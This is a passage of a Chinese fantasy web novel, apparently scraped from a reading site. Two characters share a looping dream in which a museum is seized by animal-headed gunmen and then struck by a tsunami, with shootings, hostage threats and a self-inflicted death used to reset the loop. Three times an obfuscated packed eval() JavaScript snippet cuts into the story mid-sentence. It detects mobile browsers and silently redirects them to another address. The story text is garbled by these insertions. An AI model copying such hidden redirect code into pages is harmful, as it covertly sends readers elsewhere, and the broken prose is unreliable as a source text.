l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739796|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“那要不要去看看到底怎么回事？” 姜渔短暂思索几秒，便沉声说：“当然要。” 历经两次别人的幻境沼泽，姜渔已经大有底气。幻境沼泽在她眼中已经开始向“兼职”的属性定型，没了那些要不要拼上性命救死扶伤的道德问题，只想搞点晶核。 听到姜渔的答复，纪小麦也没有任何意见。 “我会喊你的名字。” “好。” 姜渔打开门，踏上虚空中显现的地板。 …… 精卫，员工宿舍。 辛司政的庆祝计划大失败，酒也没喝，电动也不再打，因为背上一笔债务，整个人显得更加颓丧。 此时，他已经从娱乐区回到宿舍，简单洗漱一番后，天已经蒙蒙亮。 于是辛司政拉上窗帘，躺上床，闭上眼睛。 再睁开眼时，他站在一片草地上。 身后群山叠嶂，绿意莹莹，脚下一条小小的土路蔓延至山间，不见踪影。身侧是一间茅草屋，围着篱笆，简陋无比。 辛司政抬头望去。 身前十余米外，一座巨大拱桥拔地而起，延伸至对面不见尽头的黑色虚空。 拱桥造型古朴，是用无数的森森白骨穿插铸成，看上去更像是一种远古巨兽的脊椎，带着最原始的荒蛮气息。 细细看去，每一根骨头上都带着断裂与摩擦的印记，仿佛经历了千百次的搏杀。这是一座苍白的桥，但见过的人都会明白，它的苍白是经由汹涌的猩红鲜血洗刷而来。 桥上，一半是瓦蓝的天空，一般是寂静的夜空。不断有一两个白色的人形白雾，突兀地出现在群山这边的桥头，犹如幽魂。这些幽魂呆板地走上桥，去往连接着黑色虚空的另一头。 当他们迈过位于桥中间的黑白两片天空交界处时，便会消失得无影无踪。 早已司空见惯的辛司政并不惊讶，他无视那些幽魂，上前去看桥边的黑色石碑。 上面浮出手写的文字：“本期铸造材料所需80具衍生体骸骨，目前已缴纳完成。” 辛司政满意地点点头，正想回身时，整个人僵在原地。 他缓缓转头。 在桥上，忽然出现了一个颜色鲜明的人，与那些纯白色的幽魂相比，格外生动。 那是个女人。 黑色的马尾，洁白的侧脸。 黑色的衣服，洁白的手。 辛司政喉间耸动，硬着头皮出声：“姜……姜渔？” 桥上的“姜渔”没有回应，步伐坚定。 辛司政连忙踏上骨桥，追到姜渔面前，大声喊：“快醒来！姜渔！醒过来！你马上就要陷入幻境沼泽了！醒来！” “该死！不就是被骗了88万吗？就这么崩溃了？” “我现在就还你还不行吗！” “叮！余额到账88万！” “好吧，还是没醒，太假了是吗？” “跟我走！” 辛司政上前要拉住姜渔的手，却被一股巨力猛然弹开。他倚靠着桥栏，险些坠入桥下的虚空。 辛司政又惊又急，他跟上姜渔的脚步，转眼间已经跨过黑白两界的交界处。 他望向前方，骨桥已经变得支离破碎，一根根骸骨安静地漂浮在虚空之中，桥上再无其它幽魂，只剩姜渔仍在自顾自地向前走。 “她到底怎么回事？” “为什么不是幽魂的状态？” “要救吗？” “说什么呢，我能不能救还是两说。” “明明自己也只是个没办法从别人的幻境沼泽里醒过来的废物啊……” “呸。现在不是攻击自己的时候。” “讲真的，88万而已，不至于让我冒险吧？” “虽然手里还有几张通桥证，但我真的不想再陷入幻境沼泽了……” 辛司政嘴上嘟嘟囔囔个没完，脚步却一直没停，始终尾随着姜渔。 “但这个月的工程材料倒是交接好了，可以耽误几天。” “而且，她又这么不一样。” “那么，她一定有秘密！” “……我必须去！” 他一双死鱼眼中终于露出坚定的神色，快走几步，彻底站到姜渔的身边。 几步后。 两人都消失在整片虚空中。 66. 九十九页（一） 铅云笼罩天空。 一座博物馆安静地伫立在海边，它全身由混凝土铸成，简朴大气。对面街道上，青灰色椰树随风摇曳，海滨小路上行人交错，游客众多，还夹杂许多参观完毕的中学生。 今天是博物馆接待市重点三中学生群体参观的日子。 馆长王沐恩站在馆门前的水泥台阶上，微笑从容。她年近五十，干净利落的短发黑白相间，身着深色西装，整个人流露出自然的干练气质。 此时，她背对海边，正面馆厅，目送最后一批叽叽喳喳的学生们入馆后，徐徐跟上。 博物馆的入口大厅被设计得极为大气，满铺大理石地砖，墙砖则使用整片整片的岩石贴成，偌大的大厅中无一根柱体支撑。这里既连接着各种区域，也起到为博物馆陈列藏品定基调的作用。 学生们现在就围绕着入口大厅的巨大藏品议论不休。 那是一艘灰白色的小型护卫舰，长八十米左右，宽高都在十余米。对于这样一艘庞然大物来说，最好的观赏方位是在大厅四周的高层回廊上，不过学生们刚刚进来，只能在舰身下翘首观看。 王沐恩清了清嗓子，向这批学生们的背影拍拍手，开始讲话： “同学们，欢迎来到海岸线博物馆！” 大厅中，学生们纷纷回身，看向王沐恩。 王沐恩保持着得体的笑容，说道：“我叫王沐恩，是这所博物馆的馆长。作为二十年前的海啸事故幸存者，也是103搏洋舰营救事件的舰长，我无比欢迎你们的到来，也十分期待你们在这所博物馆中收获的感受。” 看到学生们再次交头接耳起来，王沐恩会心一笑，说道：“接下来，将由我馆的管理员姐姐，为你们提供各项藏品的讲解服务。相信同学们越了解当初海啸的细节，也会越珍惜如今的生活。” 王沐恩向侧边走开两步，馆门边缘走出来一个二十多岁的女生，她带着一副镜片超厚的眼镜，简单扎着马尾，站到大家面前，笑容亲切。 管理员向学生们微微欠身，语气大方自然，笑说：“同学们好呀。” 学生们齐声回应：“姐——姐——好！” “看来大家都被我们的大功臣103搏洋舰吸引了。想必大家也在教科书上看过了，这就是曾在海啸中创造了救援奇迹的传奇之舰，虽然经过那一场海啸后，这艘舰艇已经支离破碎，再也无法航行，才入馆收藏。但在人们的眼中，它只是功成身退了而已。” 管理员姐姐看到学生们的目光都已经被自己吸引了，微微一笑，抬手说：“现在，请同学们转过身，继续看向103搏洋舰，让我来为大家更细致地介绍这位镇馆之宝吧。” 学生们都老老实实地转过身去。 然而，馆门口又传来一道凶狠的男人声音：“都转过来！” 所有人都愣了一秒。 谁呀？ 紧接着，“哒哒哒”的声音在众人背后骤然响起！ 那是子弹扫射的声音。 凄厉的尖叫声瞬间此起彼伏地响起。 大部分人都吓得抱头蹲下，他们能听出来子弹响起的声音极尽，根本无法逃脱！小部分人落荒而逃，于是子弹声继续连绵不绝地响起，都打在逃者的脚前！ 很快，所有人都停在原地，只剩下绝望的哭声。 管理员姐姐蹲在地上，她缓缓扭头看去，目光一滞，眼底浮出无尽的恐惧。 馆门已经紧闭，门前站着一排全副武装的黑衣怪物——那只能是怪物，为首的顶着一个凶神恶煞的豪猪头，肥头大耳，猪鼻圆眼，黑色鬃毛犹如钢针耸立。 豪猪头掂了掂手中的□□，狞笑着下令：“猎狗，把学生们聚起来。” 怪物中，一个黑白两色相交的斑点狗头出列说：“是，大哥！” 很快，斑点狗拿着一把手枪，强硬地把所有逃走的人都叫了回来。 在斑点狗的呵斥下，所有人都抱头蹲在巨大舰身旁边，正是大厅中间的位置。只要有人想逃，只会成为空旷大厅中最容易被瞄准的猎物。 豪猪头满意地看着眼前抱头哭泣的学生们，声音粗狂沙哑地说：“很抱歉在这样一个日子里认识大家，不过，本人无意伤害大家，首先，请大家帮我做一件事……” 忽然，一声厉喝声在远处响起：“放下枪！双手抱头！” 包括管理员与馆长在内，所有人都充满希望地看过去。 只见一名身穿黑色保安服装的男人，持着一把手枪，站在舰尾处。 他身形修长，站得笔直，充满疤痕的一双手，将枪持得极稳，死鱼眼中毫无惧色，只有沉稳与冷静。 他说：“我已经报警了！你们很快就会被包围得无路可逃！赶快投降！听没听到警车的……” 砰。 一颗子弹贯穿保安男的额头，带出一道血花。保安男维持着生前的表情，很冷静地死掉了。 又一轮绝望的尖叫声响起。 又一次被空射的枪声平息。 豪猪头向开枪的斑点狗满意地点点头，继续说：“很好，现在这位保安兄弟已经帮我们做完第一件事了。接下来，第二件事，请大家以此拨打电话给自己的爸爸妈妈——你们看，我们要的是不是很简单？” 豪猪头的话并没有让人感到丝毫放松。 豪猪头还在重申：“让你们的家人准备一笔钱，让外面的市警准备一辆直升飞机。我们就要这些。” “你们要多少钱？” 管理员忽然问道。 豪猪头看向紧张提问的管理员，目光移向胸前的“管理员”铭牌，嘴角一笑，露出两颗獠牙：“不愧是这里的工作人员，你问得恰到好处。十四亿，一个小时，拿到我面前。” 豪猪头收回目光，扫视瑟瑟发抖的学生们，缓缓粗声说：“别怕，叔叔了解过你们，你们这些孩子的家长非富即贵，十四亿，小意思的。” 管理员心里一沉，与王沐恩相视一眼，都知道对方筹备已久，恐怕不是那么好打发的了。 而就在这时，豪猪头大步上前，从学生中揪出一个长发披肩的女学生。 王沐恩心里瞬间揪了一下。 还没等她说话，豪猪头就将枪抵在眼含怯泪的女学生太阳穴上，凶眼中露出变态的笑意，说道：“叔叔呢，也担心你们的爸爸妈妈不当回事。但是大家放心！等我把这女仔的尸体丢到警察面前，想必你们的爸爸妈妈打钱会利索许多吧！哈哈哈哈！” 谈话间，豪猪头的手已经扣上扳机。 “不要！”王沐恩疯了似的起身，红着眼冲上前，“放开她！让我……” 砰！ 王沐恩的额头上多了个血洞，无力倒下。 “让你当人质？你有个屁用。”豪猪头不屑地收回枪，重新抵在盯着王沐恩尸体、双目放空的女学生太阳穴上。 他就要按动扳机。 但倏地，整座博物馆都震了一下。 豪猪头很努力才稳住身形。 他收回枪，环顾四周，声音中带着疑惑与忌惮：“怎么回事？这么大火力？市警上大炮了？” 他一只可憎的猪头，盯着馆门两侧的玻璃，猛地愣住了。 管理员与学生们也不禁蹲在地上看过去，下一秒，齐齐吸了一口冷气。 更有人直接摊在地上，吓得连哭也哭不出来。 管理员姐姐也不例外，她身子一软，彻底绝望地坐在地上。 只见馆门外，一道高不见顶的巨大黑浪，已经盖过绵延千里的海岸线，沉默地卷着椰树、小船、车辆，推向了博物馆！ 下一秒。 黑浪已至。 震耳欲烈的轰鸣声打破馆内的沉默！ 无尽的黑浪拍碎了馆门的防弹钢化玻璃与钢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751989|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化窗户，将混凝土的外墙轻易搅碎，上万吨的黑色海水夹杂着断壁残垣与车辆残骸通通压进大厅！ 千钧一发之际，在涛声的吼叫中，管理员却隐隐听到一句呼喊： “姜——渔——” 姜渔的清明目光占据了管理员的瞳孔，但她眼中的绝望不减反增—— 即如姜渔，声音也不禁颤抖起来：“纪小麦，我听到了。” 话音落下，无尽的浪潮已经吞没103搏洋舰。这艘满载荣光的舰艇再无力重现传奇，它载着的最后一批船员是数不清的断指残垣。 …… 博物馆灯光明亮。 “接下来，将由我馆的管理员姐姐，为你们提供各项藏品的讲解服务。相信同学们……” 姜渔耳边传来王沐恩馆长的声音，猛然惊醒，可被巨浪拍打的剧痛与窒息的绝望，仍真切地回荡在心头，她哆嗦了下，浑身冒出冷汗，止不住颤抖。 那不是劫后余生的清醒，那是身体在接受到大脑的死亡回忆后，做出的本能反应。 姜渔连连深呼吸，努力稳住心神，她已经反应过来这是类似于陆伯原幻境沼泽中的重启戏码。 可是…… 留给她的时间太短了！ 非人的劫匪们即将闯入，甚至已经埋伏在博物馆中，他们何时冲出？ 几分钟后，巨大的海啸是否还会如期而至？ 面临那种毁天灭地的灾难，她又该如何自保？ 最重要的。 该死，这里又是谁的幻境沼泽！ 姜渔站在暗处，听不清王沐恩的声音，她扫视那一帮学生，只觉得头皮发麻，根本看不出谁有什么不同。 她只能试着去回忆起上一轮幻境沼泽中的遭遇—— 忽地，姜渔眼神一定，她记得，在上一次幻境沼泽中，有一个保安男挂掉了…… 那个保安，看上去全然没有幻境主体的气质。但是，他的脸，姜渔有印象。 不是很好的印象。 于是姜渔迅速从暗处走出，她眺望过去，看到在舰尾处，与辛司政长相一模一样的男保安，仍笔直地站在那里。 真的是他。 此时，姜渔已经没有心思去想辛司政为何出现在这里：或许这里就是他的幻境沼泽？或许辛司政与这个幻境沼泽的主体曾经相识？ 但有一个熟悉的幻体，总能派上用场。 于是她挥手大喊：“辛司政！” 舰尾处，保安正在站岗，他的腰间别着没有子弹的手枪，心里也在想着跟安保全然无关的事情：今天下班后，是回家还是去健身房？是做饭还是外卖？ 突兀地，他听见空旷的大厅中，忽然回响起一道喊声。 那是一个女生的大喊。 好像是管理员。 大喊大叫的，怎么这么没规矩？ 她在喊一个人的名字吗…… 辛司政？ 辛…… 保安眼中的疑惑瞬间褪下，辛司政的神智全部回归，他回想起自己昏迷的前一秒，曾在骨桥上尾随姜渔走入了她的幻境沼泽。 然后…… 是很帅气地出面制止劫匪，很帅气地被豪猪头开枪打死。 再然后…… 我竟然又醒过来了？ 辛司政不可置信地看向挥手的姜渔。 难为姜渔能记得我的名字。 莫非是因为她喊了我的名字，我才醒来？ 可她上一次怎么没记起来？ 真是拿她没办法。 辛司政压下心中的惊诧，跟着大力挥手，沉声大喊：“不要怕！我来救你了！这里只是幻境沼泽而已！” 姜渔闻言一愣。 这二货说什么呢。 谁救谁啊？ 等等。 他怎么也知道这里是幻境沼泽？！ 67. 九十九页（二） 姜渔还没来得及问，便听到一声声呼喊。 “姐姐！” “姐姐？” 姜渔回神，转过身，她看到所有学生们都在好奇地看着自己。此时看向近处，姜渔才反应过来，自己仍然戴着厚厚的眼镜，看所有人都十分模糊。 她摘下眼镜，迎上王沐恩的困惑目光。 王沐恩担心地问：“你怎么了？要不要先休息？” “……没事。”姜渔摇头。 “姐姐！馆长阿姨刚才说你可以帮我们讲解这些宝贝！” 上一次被手枪抵住太阳穴的女学生好心提醒道，她有意缓解姜渔的尴尬，指着103搏洋舰又说，“姐姐可以跟我们介绍一下这艘大船吗？” 姜渔看着偌大的舰艇，只觉得脑袋空空。 曾经属于管理员的知识，都随着她的觉醒消失不见了。 剩下的，只有撕碎博物馆的巨浪。她困在无尽的海水中，万钧之力压得她骨头都要碎了。什么象征着传奇的舰船没有再现荣光，冰冷的船体撞向渺小的姜渔。剧痛之后，再无意识。 回忆再次浮现，她忽然很羡慕死得干脆的辛司政。 姜渔嘴巴几次张合，拼凑记忆，强笑着挤出一句：“这个大船很厉害，救了很多人。是镇馆之宝哦。” 女学生目光一呆，所有学生们也沉默。 有人嘀咕：“她还不如照着介绍牌念呢。” 王沐恩眼神更加担忧，她凑上前低声说：“你到底怎么回事？回去休息吧，我来解说。” “馆长……” 姜渔看到这个不顾生死冲出去保护学生的馆长，用力摇摇头，摆脱纷乱的思绪，快速说：“让所有人快跑！海啸就要来了！大家……” 话说到一半，被辛司政更大的声音打断了。 “大家快跑！这里马上就有匪徒过来绑架了！！！” 姜渔目光一凝：他不仅知道这里是幻境沼泽，甚至记起了上一轮的事情！ 然而，两人的诡异态度，已经让在场所有人都摸不着头脑了。大家议论纷纷的，都在讨论这里是博物馆还是疯人院。 “是沉浸式体验对吧！” 又是那名女学生，她神采奕奕地说：“因为两位哥哥姐姐想让我们感受到当初灾民的绝望对不对？他们就是生活在天灾与人祸的折磨中！” “不是！”辛司政终于来到身前，他看向众学生，想解释些什么，又觉得麻烦，转身抓住姜渔的胳膊就要向外走。 “跟它们这群幻体也没什么可说的。跟我走。” 姜渔被扯得一晃，踉跄几步。 她刚刚稳住身子，就听到馆门处传来“哒哒哒”一连串枪响！ 枪声从姜渔身侧呼啸而过。 她察觉到辛司政的手瞬间僵住了。 姜渔抬起头，看到熟悉的一列妖人鱼贯而入，并将馆门紧紧关闭上锁，同时子弹不停，继续射向那些哭天喊地跑走的学生。一串行动雷厉风行，再次震慑住所有人，全场陷入寂静，畏惧地看向非人劫匪们。 豪猪头站在中间，身边依然是那名斑点狗手下。 斑点狗抬起手枪对准辛司政的额头，半条舌头耷拉在嘴外，笑得狰狞：“兄弟，这么早下班？你要去哪？！” 辛司政立即松开姜渔胳膊，双手举高：“我可不是要去报警呀。” “废话！我们刚来你就要报警？你能未卜先知不成？”斑点狗不耐烦地摇了摇枪，“给我滚回去！” “好的好的，狗哥。” 辛司政一番点头哈腰，仍抓着姜渔的胳膊，转身向人质学生们走去，低声说：“快走。他们很凶残很没有人性的。” 一个妖人顶着猫头鹰的头，目光锐利，它发出尖锐的声音说：“狗哥，他骂你不通人性！” “放屁！他不是说没有人性吗！当我聋啊！”斑点狗气得嘶牙，“什么叫不通人性啊，那我不还是一条狗吗？” 狗耳朵同样很灵，他自然也听到辛司政小保安的话，还对“凶残”、“没有人性”的评价感到沾沾自喜，觉得自己真是一号大恶人，孰料到了猫头鹰的嘴里都变了味，从一号大恶人骤然变成一条素质不高的宠物狗。 辛司政听到猫头鹰告状，慌张时又听到猎狗的怒斥，他知道自己逃过一劫，加快脚步带着姜渔和学生们蹲到一起。 辛司政很是无耻地带姜渔挤到学生中最中间的地方。 他声音放得更低，在姜渔耳边窃窃私语：“真不知道你的幻境沼泽怎么这么奇怪，很喜欢冒险找宝藏吗？搞这么大博物馆。” 姜渔侧头看去，辛司政表情无奈又抱怨。 辛司政迎上姜渔的眼神，语气缓和许多：“但你也不要太过自责，毕竟你可能连这里是幻境沼泽都不知道。等你醒来就知道我有多伟大了。” 姜渔：“是在说你被一枪毙命的事迹吗？” “不是。” 辛司政沉默几秒，眼神惊讶：“咦，你也记得上次发生的事情？” 见姜渔默然，辛司政又好奇追问：“那你知道这里是幻境沼泽吗？明白幻境沼泽的意思吗？” 姜渔点点头：“嗯。” 辛司政眉头一皱：“那你怎么不醒来？” 姜渔蹲在地上，语气淡然：“因为这里也不是我的幻境沼泽。” …… 近一分钟后，姜渔有些无奈说：“我认为惊讶个几秒钟就够了。” 辛司政这才合上张大的嘴巴，他擦了擦嘴角，很努力地提问：“这里也不是你的幻境沼泽？” “为什么重复我的话？” “不是……那你怎么来的这里？” “你又是怎么来的这里？” “你不也是在重复我的话吗？！” 姜渔一个冷眼：“你信不信，我有办法唤醒你的意识，就有办法让你继续晕睡在幻境里？” “抱歉。”辛司政立即收起气急败坏的状态，很诚恳地说：“我只是在回到宿舍后，一直担心你被我骗得崩溃了，担心担心着，就来到这里了。也许，是老天让我来到这里的吧，真是天赐良缘。你呢？” 姜渔笑了，掐指作势要动用什么能力的样子：“我要让你在这里永远晕过去。” “好吧。是桥。” 辛司政看到姜渔的动作，怕得缩缩头，再次举手投降，老实说：“我在桥上看到了你，跟着你来到了这里。” “桥？”姜渔心中一动。 “嗯。”辛司政感慨着说，“我能看到一座桥，当有人陷入幻境沼泽时，我就会看到他们的白色游魂走过桥，去往另一边。” 辛司政瞥了一眼陷入沉思的姜渔：“你也找到了桥么？” 姜渔听到这句话，愣住了。 镜花岛的经历再次涌入脑海。 她问：“在镜花岛说话的人，是你？” 辛司政长长地“哦”了一声。 他说：“那只是一道留言。既然如此，看来你就是棒棒糖之手了。” 姜渔不置可否，追问说：“桥到底是什么？” “我最初以为，只是一个交易的平台。在那里付出些东西，拿到些东西。千奇百怪，虽然我见过拥有桥的人也不多。” 辛司政撇撇嘴，说：“但我后来听别人总结，这些人都有一个共性，既非旧民，也无需改造，就能拥有各种非凡能力，且对衍生体具备天然的克制能力。这个总结的人是个武痴，很看重实力，他认为桥是一种超脱于目前所有实力体系的力量存在，他将桥称之为……” 辛司政顿了顿，说：“契约之力。” 姜渔想到自己的房贷，还真是属于一种契约。不禁点头：“很形象。” 辛司政来了兴趣：“你呢？你的桥什么样子？” “是一扇门。”姜渔没准备讲得更细。 “门啊，那要缴纳的东西应该比较容易搞到吧？” 辛司政却没什么防备，大概是因为受制于姜渔的缘故。他讲话不隐瞒信息，问话不追究答案，甚至还能重新讲回自己：“我就惨了，要缴纳衍生体的骨头，每天跟个拖欠工程材料的包工头似的。” “我是晶核。”姜渔秉承着辛司政说什么她说什么的原则。 “怪不得你要买那么多晶核。”辛司政了然，“所以，你能通过那扇门，来到别人的幻境沼泽？” “嗯。” “那你怎么会醒过来？” 姜渔反问：“你醒不过来吗？” “当然，我只进过一次幻境沼泽。”辛司政眉头忽然浮上一层愁云，“直到那个主体去世，我才醒过来。” 姜渔不动神色地说：“原来幻境沼泽的主体死掉后，我们这些闯入者是可以醒来的啊。” “不是。我当时身上有一张通桥证。当主体去世，幻境沼泽崩塌后，我醒过来很久，才发现那张通桥证消失了。我推测，是它带我回来的。”辛司政认真提醒说，“如果你以后遇到可以兑换的类似东西，一定要兑换。那能让你从幻境沼泽中捡回一命。” “知道了，多谢。” 虽然辛司政确实骗了她，但姜渔此时与他是同一条船上的蚂蚱，加上辛司政分享的信息确实十分有用，姜渔稍稍卸下了一些防备。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765195|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她又问：“那你从幻境沼泽中拿到什么没有？” “没。”辛司政眉头的愁云更浓了，他幽幽回忆道：“如果必须说有什么，可能就是我多活了二十年吧。” 姜渔的心跳猛然漏了一拍，不可置信地问：“二十年？” “嗯。幻境沼泽的主体在现实中撑了两个月，幻境沼泽里却度过了二十年。”辛司政长吁短叹，揉着太阳穴，“我看新闻才知道，那是个从小被父亲家暴，之后离家出走上山当和尚的一个奇葩。” “奇葩？” “他的幻境沼泽里四大皆空的，天下太平，相敬如宾。但没有家庭。你知道吗？没有女人，也没有男人，全部都是一群树人幻体，该上学上学，该上班上班。我印象最深的就是一个同事在天台抽烟不小心把自己给点着了。我一个人类掺在里面，竟然一直没发觉有什么不对，当初还很难过地去葬礼上随礼了呢。” 姜渔听得入神，下意识套入自己总结的幻境沼泽破解公式。 她思索着说：“因为他爸的家暴行为，导致他在内心深处更希望自己没有家吧，甚至希望不再与人相处。” “嗯，都赖他爸。” “那你这二十年是怎么过的？” “我？我就是上了二十年的班。真是他爸的服了。” 辛司政语气悲愤，“我还差两年就能领退休金了，一睁眼啥都没有了。” 那确实太惨了。真是如此生活二十年，忽然幻境崩塌。所有储蓄都灰飞烟灭。 姜渔：“节哀。” “没什么节哀的，这不就是生活么。活着的时候，选择不了怎么活。要死的时候，也选择不了怎么死。”辛司政无所谓地耸耸肩，“活着就挺好的。” 姜渔看了眼辛司政：“这么悲观啊你。” “那你呢？”辛司政看姜渔问个没完，想到自己的问题还没得到回答：“你怎么能在这里唤醒我？还能让我重新晕过去？是你兑换的什么能力吗？” “唤醒你的事，我也不清楚原因。至于再让你晕过去，是我骗你的。” 辛司政一怔，他举起手比比画画，手指怎么也绕不明白，气得说：“那你刚刚在那做什么法呢？” “旧纪元的把戏。”姜渔抬起手，拇指食指灵巧一掐，第一关节交汇，“比心。” “狡猾，无耻，阴险。”辛司政气急咬牙，盯着姜渔，忽然又风轻云淡地笑了，“算了，扯平了。” 姜渔语气平静：“别。你还欠我88万。” “油盐不进啊你！” “那边的小保安！怎么你话那么多！” 猎狗的呵斥声忽然响起，打断两人的交谈。 辛司政吃过枪子的亏，连忙闭嘴。 姜渔则看向场内，豪猪头已然再次揪出上一次的女学生，将枪抵在她的太阳穴上，狞笑说：“叔叔呢，也担心你们的爸爸妈妈不当回事。但是大家放心！等我把这女仔的尸体……” 同样的话。同样的，王沐恩失神冲出。同样的枪响。 当豪猪头再次拿枪抵向女学生时。 同样的地震再次来临。 所有人都被震得七倒八歪，只有姜渔稳住了身形，她看向一头雾水的辛司政，说：“有时候，还是要选择一下怎么死的。” 说话间，姜渔从人群中俯身冲出去，捡到一把妖人们因为地震掉落的手枪，又猫着腰退回来。 “海啸快来了，没时间了。” 姜渔语气波澜不惊，将枪对准辛司政的眉心，“那会死得很痛苦，我送你。” “别，别开玩笑了……” 辛司政忙摆手讪笑。 砰！ 辛司政的笑容僵在脸上，他的脸上已溅满姜渔的鲜血，眼睁睁看着姜渔向自己太阳穴开枪后缓缓倒下，双眼无光。 辛司政却看到别人并不为姜渔的死亡而惊讶，只是呆望着身后，他也回头看去。 于是他见到滔天的巨浪。 辛司政终于明白姜渔的话不是开玩笑，他慌忙俯身去捡姜渔手上的手枪，果断抬手，闭眼，扣动扳机！ 叮。 辛司政一愣，继续扣动扳机。 叮，叮，叮。 原来这把手枪里只剩下了一颗子弹，而它已经带走了姜渔。 他不禁笑了。 果然是要死的时候，选择不了怎么死。 巨浪撞破博物馆，黑色海水席卷一切。 辛司政被巨浪拍得浑身骨碎，顽强的生命力让他咬牙从剧痛中睁开眼。 幽暗海水中，一艘巨大舰船，正沉默地撞来。 68. 九十九页（三） 姜渔幽幽醒转。 “接下来，将由我馆的管理员姐姐，为你们提供各项藏品的讲解服务。相信同学们……” 姜渔摘下眼镜，看向舰尾，身穿保安服的辛司政晃了晃，后怕地同样望向自己。 姜渔不再犹豫，向王沐恩与学生们冷静说道：“馆长，现在不是讲解时间，大概半个小时后，这里将会发生海啸，带着孩子们快走！而且很快就有绑匪过来，再不逃就来不及了！” 姜渔想到绑匪每次都是从正门闯入，补充说：“有没有后门？” 王沐恩听了忧心忡忡：“你怎么回事？海啸怎么会没有预……” 咔嗒一声。 辛司政一路小跑过来，他掏出腰间的手枪，打开保险，对准王沐恩，眼神漠然，冷声说：“照她说的做。” 学生们吓得挤成一团。 身为馆长，王沐恩临危不惧，只是皱眉：“保安分配的枪支里不是没有子弹么？” 她目光锋利，目光在二人间徘徊：“你们到底怎么回事？给我一个解释！” 辛司政没有放下枪，看着身边姜渔犹疑不定：“怎么办？必须要带这些人一起跑吗？” “幻境主体死了，一样会从头再来。”姜渔闷声解释，她摸向衣服的兜，“没有时间解释了！” 哒哒哒！ 姜渔话音刚落，雨点般的密集枪声再次响起！一众妖人冲进了馆门！学生们尖叫着，有人抱头蹲下有人逃窜！ “都转过来！”豪猪头狠戾喝道。 但他又听到一声不容置疑的声音。 “都停下！看着我！” 无论是妖人，还是正在逃跑的学生，听到这一声厉喝，都不由自主地站住转过头来。 姜渔沉声说道：“你们还小，还不懂生命的可贵与死亡的残酷！海啸半个小时后就过来了！这里面门道很深，我一时半会跟你们解释不清，等你们活下来，就知道老一辈留下的道理了！” 她的胸前，铭牌下方，挂上了院长之嘴的徽章。 辛司政本就意识清醒，知道海啸的恐怖，此时听到姜渔的话，是所有人中最容易被说服的一个，越听越觉得姜渔好有领袖气质！ 他一只手大幅度地焦急招呼着：“还愣着干什么，快逃命哇！” “等等！”豪猪头忙摆手打断，它内心复杂，只觉得这个女生气定神闲，高深莫测，所说的话有些道理，又道理不多，他问：“你怎么知道海啸快过来了？而且老一辈又留下了什么道理？” “跟你说你也不明白。”姜渔老气横秋地斜睨豪猪头，“青蛙坐井观天，老鼠鼠目寸光，果真不是无稽之谈！你们这些小畜生怎么能理解我的想法？燕雀安知鸿鹄之志的典故听没听过？还是说你们想以一己之力对抗海啸？真是蚍蜉撼树！螳臂当车！还不快逃！？” 辛司政继续大力招呼：“快跟着我们的小语文老师逃哇！” 豪猪头隐隐有些动摇，他虽然听不太懂，但也能听出姜渔话中的严重程度。此刻总感觉自己猪头猪脑的，格外惭愧，暗自感叹人类不愧是万物之灵！ 豪猪头不想弱了气势，强撑说：“那你有什么办法！” “先把枪给我们。”姜渔很是稳重地说，“枪太危险了，在你们手里容易走火，交给人类保管更为稳妥。这是为你们好，你想，人类杀猪什么时候用过枪？” “我可是豪猪！” “好猪，给我。”姜渔高高在上地劝解，“幸福不是得到的多，而是计较得少。你想想我能图你什么？我什么也不缺。我吃素的。我现在苦口婆心不都是为了你们好么？我相信你是明白的，猪是人类最好的朋友了。把枪给我们，我们就还你们一个美好家园。” 姜渔自然而然地伸出手，看似笃定，实则内心焦急万分。 三分钟的使用时间，已经所剩无几了！ 豪猪头看着目光睥睨的姜渔，内心天人交战，最终咬咬牙上前，将枪递到姜渔手里，还回头说：“交枪！” 姜渔拿到枪，总算松了口气，看着那些妖人也纷纷将枪放下，或交到王沐恩以及长相成熟的学生手里。 砰！ 而就在这时，博物馆又响起了一声枪响！ “你放屁！” 姜渔耳朵一动，这是猎狗的声音，她看过去，只见猎狗持枪，目眦欲裂地看着自己。 一旁辛司政捂着肩膀，保安服下渗出血渍，他忍痛嘶哑着嗓子质问：“她放屁你开枪打我干什么！？” “闭嘴！老子的枪弹道偏左！” 猎狗的手在颤抖，他目光恐惧地看向豪猪：“老大！这女的话有古怪！” 豪猪头也被猎狗惊醒，畏惧地盯着姜渔，双手缓缓举高：“猎狗，你……你懂老子，你也被蛊惑了对吗？” 猎狗艰难吞下口水，说：“我刚才还因为她说猪是人类最好的朋友吃醋了呢。” “没错，我们是人！我们已经变成人了！这女的……该死！” 豪猪头看着姜渔寒冷的双目，话中都是不甘。 姜渔晃了晃枪，寒意十足：“让那条小狗放下枪。” 豪猪头一阵不甘，但面对枪口，还是说：“放下枪，猎狗。” 猎狗被几把枪对准，也知道己方大势已去，丧气地将枪放在地上，被辛司政捡起。 “这次可以从正门走了。馆长。”姜渔回头说，“时间真的不多了。就现在，出门打车快走。想报警或者上报灾情，等上车再说。” 